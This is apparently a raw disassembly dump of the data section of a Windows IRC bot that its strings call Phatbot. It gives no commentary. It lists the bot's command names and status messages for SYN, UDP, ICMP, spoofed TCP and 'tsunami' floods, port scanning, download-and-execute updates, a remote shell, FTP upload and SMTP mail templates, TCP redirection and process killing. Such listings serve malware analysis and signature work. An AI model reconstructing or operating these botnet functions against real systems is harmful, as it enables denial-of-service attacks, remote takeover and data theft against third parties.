aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_42C68C	db  2Dh	; -		; DATA XREF: sub_401AC7+6AC7o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_42C6B0	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401AC7+6A85o
		dd 27732527h, 2Eh
dword_42C6CC	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401AC7+6A6Bo
		dd 0
dword_42C6E4	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401AC7:loc_4084D7o
		dd 746E6573h, 2Eh
unk_42C700	db  2Dh	; -		; DATA XREF: sub_401AC7+6A09o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 10h
dword_42C720	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401AC7+69D0o
		dd 732520h
unk_42C738	db  2Dh	; -		; DATA XREF: sub_401AC7+69C2o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_42C764:				; DATA XREF: sub_401AC7+69AAo
					; sub_40E7B9+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42C768	db  2Dh	; -		; DATA XREF: sub_401AC7+6980o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
unk_42C78C	db  2Dh	; -		; DATA XREF: sub_401AC7+696Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 10h
dword_42C7B0	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401AC7+68E7o
		dd 2E732520h, 0
unk_42C7CC	db  2Dh	; -		; DATA XREF: sub_401AC7+68A4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_42C7FC	db  2Dh	; -		; DATA XREF: sub_401AC7+6888o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_42C824	db  2Dh	; -		; DATA XREF: sub_401AC7+67E4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_42C844	db  2Dh	; -		; DATA XREF: sub_401AC7+67A4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_42C864	db  2Dh	; -		; DATA XREF: sub_401AC7+674Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42C880	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401AC7+66DBo
dword_42C894	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401AC7+66A1o
					; sub_401AC7+6E50o
unk_42C8A0	db  2Dh	; -		; DATA XREF: sub_401AC7+6677o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401AC7+6669o
		align 4
dword_42C8C8	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401AC7+663Eo
		dd 25203A29h, 73h
dword_42C8E4	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401AC7+65D2o
		dd 203A2973h, 7325h
dword_42C900	dd 45444F4Dh, 732520h	; DATA XREF: sub_401AC7+657Ao
dword_42C908	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401AC7+654Ao
		dd 203A2973h, 7325h
dword_42C924	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401AC7+64D4o
dword_42C930	dd 0A0D7325h, 0		; DATA XREF: sub_401AC7+64A2o
					; sub_401AC7+652Bo ...
dword_42C938	dd 54524150h, 732520h	; DATA XREF: sub_401AC7+6469o
dword_42C940	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401AC7+6458o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42C97C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401AC7+63E9o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42C9A8	db  2Dh	; -		; DATA XREF: sub_401AC7+635Co
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42C9E4	db  2Dh	; -		; DATA XREF: sub_401AC7+62F1o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42CA18	db  2Dh	; -		; DATA XREF: sub_401AC7+6285o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_42CA4C	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401AC7+6244o
		dd 7325h
dword_42CA64	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401AC7:loc_407C77o
dword_42CA78	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401AC7+616Co
					; sub_401AC7+621Eo ...
dword_42CA88	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401AC7:loc_407BD6o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_42CAD0	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401AC7+6105o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42CB0C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401AC7+6096o
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401AC7+5FF1o
		align 4
dword_42CB44	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401AC7+5F92o
		dd 7325203Ah, 0
unk_42CB60	db  2Dh	; -		; DATA XREF: sub_401AC7+5F87o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
dword_42CB84	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401AC7:loc_407988o
					; sub_401AC7:loc_408553o
unk_42CB90	db  2Dh	; -		; DATA XREF: sub_401AC7+5EACo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42CBB4	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_407951o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42CBEC	db  2Dh	; -		; DATA XREF: sub_401AC7+5E80o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42CC24	db  2Dh	; -		; DATA XREF: sub_401AC7+5E0Ao
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 10h
dword_42CC50	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401AC7+5D93o
aFailedToStartC	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42CC8C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401AC7+5D24o
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42CCBC	db  2Dh	; -		; DATA XREF: sub_401AC7+5CABo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42CCF4	db  2Dh	; -		; DATA XREF: sub_401AC7+5C39o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42CD24	db  2Dh	; -		; DATA XREF: sub_401AC7+5BB2o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_3	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42CD5C	db  2Dh	; -		; DATA XREF: sub_401AC7+5B40o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42CD8C	db  2Dh	; -		; DATA XREF: sub_401AC7+5ACAo
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42CDC4	db  2Dh	; -		; DATA XREF: sub_401AC7+5A58o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 10h
unk_42CE00	db  2Dh	; -		; DATA XREF: sub_401AC7+59E2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 10h
unk_42CE40	db  2Dh	; -		; DATA XREF: sub_401AC7+5973o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42CE6C	db  2Dh	; -		; DATA XREF: sub_401AC7+58A7o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 10h
unk_42CEB0	db  2Dh	; -		; DATA XREF: sub_401AC7+5838o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42CEEC	db  2Dh	; -		; DATA XREF: sub_401AC7+573Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401AC7+56BAo
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401AC7+55B8o
		align 4
dword_42CF48	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401AC7+5524o
					; sub_401AC7+6727o
unk_42CF54	db  2Dh	; -		; DATA XREF: sub_401AC7+54C3o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_5	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42CF90	db  2Dh	; -		; DATA XREF: sub_401AC7+5454o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_42CFE0	db  2Dh	; -		; DATA XREF: sub_401AC7+53BDo
					; sub_401AC7+57ADo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42D018	db  2Dh	; -		; DATA XREF: sub_401AC7+534Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 10h
unk_42D080	db  2Dh	; -		; DATA XREF: sub_401AC7+51D8o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan, no IP specified.',0
		align 4
unk_42D0B4	db  2Dh	; -		; DATA XREF: sub_401AC7+517Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42D0E8	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_406B22o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42D118	db  2Dh	; -		; DATA XREF: sub_401AC7+5054o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401AC7+503Bo
aSS_3		db '-s:%s',0            ; DATA XREF: sub_401AC7+5024o
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401AC7+5004o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401AC7+4FE0o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401AC7+4FCFo
		align 4
unk_42D188	db  2Dh	; -		; DATA XREF: sub_401AC7+4F76o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
unk_42D1A8	db  2Dh	; -		; DATA XREF: sub_401AC7+4F1Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42D1E8	db  2Dh	; -		; DATA XREF: sub_401AC7+4EC0o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_9	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42D220	db  2Dh	; -		; DATA XREF: sub_401AC7+4E55o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42D268	db  2Dh	; -		; DATA XREF: sub_401AC7+4DA7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42D29C	db  2Dh	; -		; DATA XREF: sub_401AC7+4D73o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 10h
unk_42D2D0	db  2Dh	; -		; DATA XREF: sub_401AC7+4D4Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42D308	db  2Dh	; -		; DATA XREF: sub_401AC7+4CADo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401AC7+4C90o
		align 4
unk_42D35C	db  2Dh	; -		; DATA XREF: sub_401AC7+4C7Bo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42D394	db  2Dh	; -		; DATA XREF: sub_401AC7+4C0Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42D3DC	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_406628o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42D414	db  2Dh	; -		; DATA XREF: sub_401AC7+4B48o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42D44C	db  2Dh	; -		; DATA XREF: sub_401AC7+4ACEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 10h
aNormal		db 'Normal',0           ; DATA XREF: sub_401AC7+4ABEo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401AC7+4AB7o
unk_42D490	db  2Dh	; -		; DATA XREF: sub_401AC7+4A22o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401AC7+49FBo
					; sub_4127E4+2F2o
aSyn		db 'syn',0              ; DATA XREF: sub_401AC7+49E3o
					; sub_4127E4+2D2o
aHcon		db 'hcon',0             ; DATA XREF: sub_401AC7+4985o
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401AC7+4972o
unk_42D4D4	db  2Dh	; -		; DATA XREF: sub_401AC7+4923o
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401AC7+48AFo
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aUsa		db 'usa',0              ; DATA XREF: sub_401AC7+47ADo
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401AC7+4796o
		align 4
aPing_0		db 'ping',0             ; DATA XREF: sub_401AC7+4768o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401AC7+4751o
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401AC7+473Ao
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401AC7+4723o
aPu1		db 'pu1',0              ; DATA XREF: sub_401AC7+46F5o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401AC7+46DEo
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401AC7+46B0o
aPsc		db 'psc',0              ; DATA XREF: sub_401AC7+4699o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401AC7+4682o
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401AC7+465Co
aC_action	db 'c_action',0         ; DATA XREF: sub_401AC7+4645o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401AC7+462Eo
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401AC7+4617o
		align 10h
aSc		db 'sc',0               ; DATA XREF: sub_401AC7+4600o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401AC7+45E9o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401AC7+45D2o
		align 10h
aRedirect	db 'redirect',0         ; DATA XREF: sub_401AC7+45BBo
		align 4
aD1		db 'd1',0               ; DATA XREF: sub_401AC7+45A4o
		align 10h
aDownload1	db 'download1',0        ; DATA XREF: sub_401AC7+458Do
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401AC7+4576o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401AC7+455Fo
		align 10h
dword_42D600	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401AC7+4552o
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42D63C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401AC7+44E0o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401AC7+4460o
		align 4
aSy1		db 'sy1',0              ; DATA XREF: sub_401AC7+4449o
aSynflood	db 'synflood',0         ; DATA XREF: sub_401AC7+4432o
		align 4
unk_42D684	db  2Dh	; -		; DATA XREF: sub_401AC7+4425o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401AC7+434Eo
		align 10h
aUsa_rm		db 'usa.rm',0           ; DATA XREF: sub_401AC7+4337o
		align 4
aUsa_ack	db 'usa.ack',0          ; DATA XREF: sub_401AC7+4320o
aUsa_syn	db 'usa.syn',0          ; DATA XREF: sub_401AC7+4309o
aClone_0	db 'clone',0            ; DATA XREF: sub_401AC7+42DBo
		align 10h
aIcmp		db 'icmp',0             ; DATA XREF: sub_401AC7+42B2o
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401AC7+429Bo
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401AC7+4284o
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401AC7+426Do
		align 10h
aExecute	db 'execute',0          ; DATA XREF: sub_401AC7+423Fo
aU11p		db 'u11p',0             ; DATA XREF: sub_401AC7+4228o
		align 10h
aUpdate		db 'update',0           ; DATA XREF: sub_401AC7+4211o
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401AC7+41FAo
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401AC7+41E3o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401AC7+41CCo
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401AC7+41B5o
					; sub_401AC7+61F1o
		align 10h
aTsn		db 'tsn',0              ; DATA XREF: sub_401AC7+419Eo
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401AC7+4187o
aT3		db 't3',0               ; DATA XREF: sub_401AC7+4170o
		align 10h
aTarga3		db 'targa3',0           ; DATA XREF: sub_401AC7+4159o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401AC7+4142o
aC_part		db 'c_part',0           ; DATA XREF: sub_401AC7+412Bo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401AC7+4114o
aC_join		db 'c_join',0           ; DATA XREF: sub_401AC7+40FDo
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_401AC7+40E6o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401AC7+40CFo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401AC7+40B8o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401AC7+40A1o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401AC7+408Ao
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401AC7+4073o
		align 4
aCy		db 'cy',0               ; DATA XREF: sub_401AC7+402Eo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401AC7+4017o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401AC7+3FBBo
aAddalias	db 'addalias',0         ; DATA XREF: sub_401AC7+3F8Do
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401AC7+3F76o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401AC7+3F5Fo
aGh		db 'gh',0               ; DATA XREF: sub_401AC7+3F36o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401AC7+3F21o
unk_42D7CC	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4059DDo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42D7E8	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4059D3o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401AC7+3ECAo
					; sub_408CF8+596o
		align 4
unk_42D814	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_405984o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42D834	db  2Dh	; -		; DATA XREF: sub_401AC7+3EB3o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401AC7+3E29o
		align 4
unk_42D85C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4058E3o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42D87C	db  2Dh	; -		; DATA XREF: sub_401AC7+3E12o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401AC7+3DAFo
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401AC7+3D5Bo
		align 10h
aStop		db 'stop',0             ; DATA XREF: sub_401AC7+3D41o
		align 4
unk_42D8B8	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4057FBo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42D8D8	db  2Dh	; -		; DATA XREF: sub_401AC7+3D2Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
unk_42D8FC	db  2Dh	; -		; DATA XREF: sub_401AC7+3CA8o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
dword_42D934	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7:loc_405740o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42D954	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+3C6Fo
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42D98C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+3C3Fo
aFailedToSta_14	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42D9C0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+3BF2o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42D9EC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AC7+3BE2o
aAlreadyRunning	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401AC7+3BAFo
		align 4
unk_42DA14	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_40566Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42DA44	db  2Dh	; -		; DATA XREF: sub_401AC7+3B9Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
